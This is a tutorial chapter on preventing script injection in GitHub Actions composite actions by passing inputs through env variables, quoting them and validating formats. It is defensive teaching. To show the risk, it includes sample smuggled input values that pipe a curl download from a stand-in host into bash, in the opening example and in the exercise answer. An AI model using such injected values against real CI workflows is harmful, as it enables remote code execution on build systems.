Sub topic 11
Avoiding script injection from inputs
This chapter assumes you can read a workflow file, know what inputs are in an action.yml, and are comfortable with basic bash quoting. It covers one risk that composite actions share with ordinary workflows: untrusted text that ends up inside a shell script.
How injection happens
Before a run step starts, GitHub replaces every ${{ ... }} expression with its value. The shell then receives the finished script text. Whatever the value contains becomes part of the script.
Suppose a composite action contains this step:
- shell: bash
run: echo "Hello, ${{ inputs.who-to-greet }}"A caller passes who-to-greet: 'x"; curl https://example.com/p.sh | bash; echo "'. After substitution, the shell runs this:
echo "Hello, x"; curl https://example.com/p.sh | bash; echo ""The input closed the quote and added its own commands. Inputs are often filled from values an attacker can control, such as a pull request title, a branch name, or an issue body. A composite action cannot know where its caller got a value, so it must treat every input as untrusted.
The fix: pass inputs through env
Put the expression in an env entry. Then read it as a normal shell variable. GitHub sets the variable's value in the process environment. The value is not pasted into the script text, so the shell never parses it as code.
name: Safe greet
description: Print a greeting without interpreting the input as code
inputs:
who-to-greet:
description: Name to greet
required: false
default: World
runs:
using: composite
steps:
- shell: bash
env:
WHO: ${{ inputs.who-to-greet }}
run: echo "Hello, ${WHO}"The script text is now fixed. The hostile string from earlier is printed as plain text.
Quote the variable
Environment variables are safe from injection at substitution time, but the shell still splits and expands unquoted variables. Always use double quotes.
- shell: bash
env:
FILE_NAME: ${{ inputs.file-name }}
run: |
set -euo pipefail
rm -- "$FILE_NAME"Two details matter here. The quotes keep a name with spaces as one argument. The -- stops a value such as -rf from being read as an option.
Where to apply the rule
| Value | Treat as untrusted? | Reason |
|---|---|---|
| `inputs.*` | Yes | The caller chooses the value, and it may come from user content. |
| `github.event.pull_request.title` | Yes | Anyone who opens a pull request controls it. |
| `github.head_ref` | Yes | Branch names can contain shell characters. |
| `github.sha` | No | GitHub generates it, and it is always hex. |
| `github.action_path` | Mostly no | GitHub sets it, though a path with spaces still needs quotes. |
The same rule applies to if: conditions and to with: values you pass to other actions. A ${{ }} expression inside run: is the dangerous case. Elsewhere in the YAML, the value stays data.
Validate when the format is known
When an input should follow a pattern, check it before using it. This gives a clear error and limits what the action accepts.
- shell: bash
env:
VERSION: ${{ inputs.version }}
run: |
if [[ ! "$VERSION" =~ ^[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
echo "::error::version must look like 1.2.3, got: $VERSION"
exit 1
fiValidation supports the env approach and does not replace it.
Exercise
A composite step contains run: git checkout ${{ inputs.branch }}. Explain why this is unsafe and rewrite the step so it is safe.
Show answer
GitHub pastes the input into the script text before bash runs it, so a value like main; curl evil.sh | bash adds a second command. Move the value into env and quote it: env: with BRANCH: ${{ inputs.branch }}, then run: git checkout -- "$BRANCH". (Using git checkout "$BRANCH" -- is also reasonable, since it selects a branch rather than a file.) The shell now reads a fixed script and receives the branch name only as data.